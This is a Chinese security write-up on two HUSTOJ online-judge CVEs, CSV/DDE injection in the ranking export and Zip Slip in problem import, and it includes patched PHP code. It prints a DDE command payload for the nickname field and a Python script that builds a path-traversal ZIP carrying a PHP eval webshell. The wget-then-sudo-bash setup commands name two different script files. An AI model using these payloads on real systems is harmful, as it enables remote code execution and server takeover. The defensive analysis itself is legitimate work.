HUSTOJ 开源在线评测系统多处漏洞审计分析 (CVE-2026-23873 & CVE-2026-24479)
字数 1776
更新时间 2026-02-06 03:50:18

HUSTOJ 开源在线评测系统漏洞分析教学文档

1. 系统概述

HUSTOJ 是国内广泛使用的开源在线评测系统(Online Judge),主要应用于高校和企业的算法训练环境。该系统基于 PHP 开发,提供题目管理、代码提交、自动评测和排名等功能。

2. 漏洞背景

在最新版本的 HUSTOJ 系统中发现两个高危安全漏洞:

  • CVE-2026-23873:CSV 注入导致的远程代码执行漏洞
  • CVE-2026-24479:Zip Slip 任意文件上传漏洞

两个漏洞均可导致远程代码执行(RCE),危害等级为高危。

3. 环境搭建方法

3.1 快速部署(宝塔面板环境)

wget http://dl.hustoj.com/install-ubuntu22.04-bt.sh
sudo bash install-ubuntu-bt.sh

3.2 管理员账户获取

  • 系统安装后,直接注册 admin 用户名即可自动获得管理员权限
  • 配合源码分析可对系统功能进行全面测试

4. CVE-2026-23873:CSV 注入漏洞分析

4.1 漏洞位置

  • trunk/web/contestrank.xls.php
  • admin/ranklist_export.php

4.2 漏洞原理

系统在导出比赛排名为 Excel 文件时,未对用户可控的昵称字段进行充分过滤和转义。攻击者可通过构造恶意 DDE(动态数据交换)公式,在管理员打开导出的 Excel 文件时触发命令执行。

4.3 漏洞复现步骤

步骤1:攻击者注册普通账户

  • 注册普通用户账号进入系统

步骤2:修改恶意昵称

  • 进入"用户信息"修改页面
  • 将昵称修改为恶意公式:=1+2(测试用)或实际攻击载荷 =cmd|'/C calc'!A0

步骤3:参与比赛

  • 攻击者参与任意比赛并提交代码
  • 确保用户名出现在比赛排行榜中

步骤4:管理员导出排名

  • 管理员在比赛排名页面点击"导出"功能
  • 系统生成包含恶意公式的 Excel 文件

步骤5:触发漏洞

  • 管理员使用 Excel 打开导出的文件
  • Excel 自动执行嵌入的 DDE 公式,导致系统命令执行

4.4 攻击影响

  • 客户端远程代码执行(管理员机器)
  • 可获取管理员系统权限
  • 可用于内网横向移动

5. CVE-2026-24479:Zip Slip 任意文件上传漏洞

5.1 漏洞位置

  • problem_import_qduoj.php
  • problem_import_hoj.php

5.2 漏洞原理

系统在题目导入功能中处理 ZIP 压缩包时,未对文件名进行路径遍历检测。攻击者可以构造包含路径遍历字符(../)的文件名,将恶意文件写入 Web 目录外的任意位置。

5.3 漏洞复现步骤

步骤1:构造恶意 ZIP 包

使用 Python 脚本生成包含路径遍历的文件名:

import zipfile

def create_malicious_zip():
    with zipfile.ZipFile('malicious.zip', 'w') as zf:
        # 构造路径遍历文件名
        malicious_file = '../../shell.php'
        zf.writestr(malicious_file, '<?php @eval($_POST["cmd"]);?>')

create_malicious_zip()

步骤2:上传恶意ZIP包

  • 使用教师或管理员账号登录
  • 通过题目导入功能上传恶意ZIP文件

步骤3:漏洞触发

  • 系统解压ZIP包时,将Webshell写入系统任意目录
  • 攻击者可通过访问写入的Webshell执行系统命令

5.4 攻击影响

  • 服务器端远程代码执行
  • 完全控制Web服务器
  • 数据泄露和系统破坏

6. 漏洞修复方案

6.1 CSV 注入漏洞修复(CVE-2026-23873)

在导出逻辑中添加输入验证和转义:

function escape_csv_value($value) {
    // 检测是否以公式特殊字符开头
    if (preg_match('/^[=+\-@].*/', $value)) {
        // 在开头添加单引号进行转义
        return "'" . $value;
    }
    return $value;
}

// 在输出CSV数据前对每个字段进行处理
$nick = escape_csv_value($user_nick);

6.2 Zip Slip 漏洞修复(CVE-2026-24479)

在解压操作中添加路径验证:

function safe_extract_zip($zip_path, $extract_path) {
    $zip = new ZipArchive();
    if ($zip->open($zip_path) === TRUE) {
        for ($i = 0; $i < $zip->numFiles; $i++) {
            $filename = $zip->getNameIndex($i);
            
            // 检测路径遍历攻击
            $full_path = $extract_path . DIRECTORY_SEPARATOR . $filename;
            $real_path = realpath($extract_path . DIRECTORY_SEPARATOR . $filename);
            
            // 验证目标路径在预期目录内
            if (strpos($real_path, realpath($extract_path)) !== 0) {
                // 路径遍历攻击尝试,记录日志并跳过
                error_log("Zip Slip attack detected: " . $filename);
                continue;
            }
            
            // 安全解压文件
            $zip->extractTo($extract_path, $filename);
        }
        $zip->close();
        return true;
    }
    return false;
}

7. 安全建议

7.1 输入验证

  • 对所有用户输入进行严格验证和过滤
  • 对文件名、路径等特殊输入进行白名单验证

7.2 输出转义

  • 根据输出上下文(CSV、HTML、SQL等)进行适当的转义
  • 对公式特殊字符进行检测和转义

7.3 文件操作安全

  • 使用绝对路径进行文件操作
  • 验证文件路径是否在允许的目录范围内
  • 设置适当的文件权限

7.4 系统加固

  • 定期更新系统补丁
  • 实施最小权限原则
  • 启用安全日志记录和监控

8. 参考资源

  • AVD 漏洞数据库:https://avd.aliyun.com/detail?id=AVD-2026-23873
  • NVD 漏洞数据库:https://nvd.nist.gov/vuln/detail/CVE-2026-24479

9. 总结

本教学文档详细分析了 HUSTOJ 系统中的两个高危漏洞,涵盖了漏洞原理、复现方法、危害影响和修复方案。通过深入理解这些漏洞,安全研究人员可以更好地识别和防范类似的安全风险,提高Web应用的安全性。

 全屏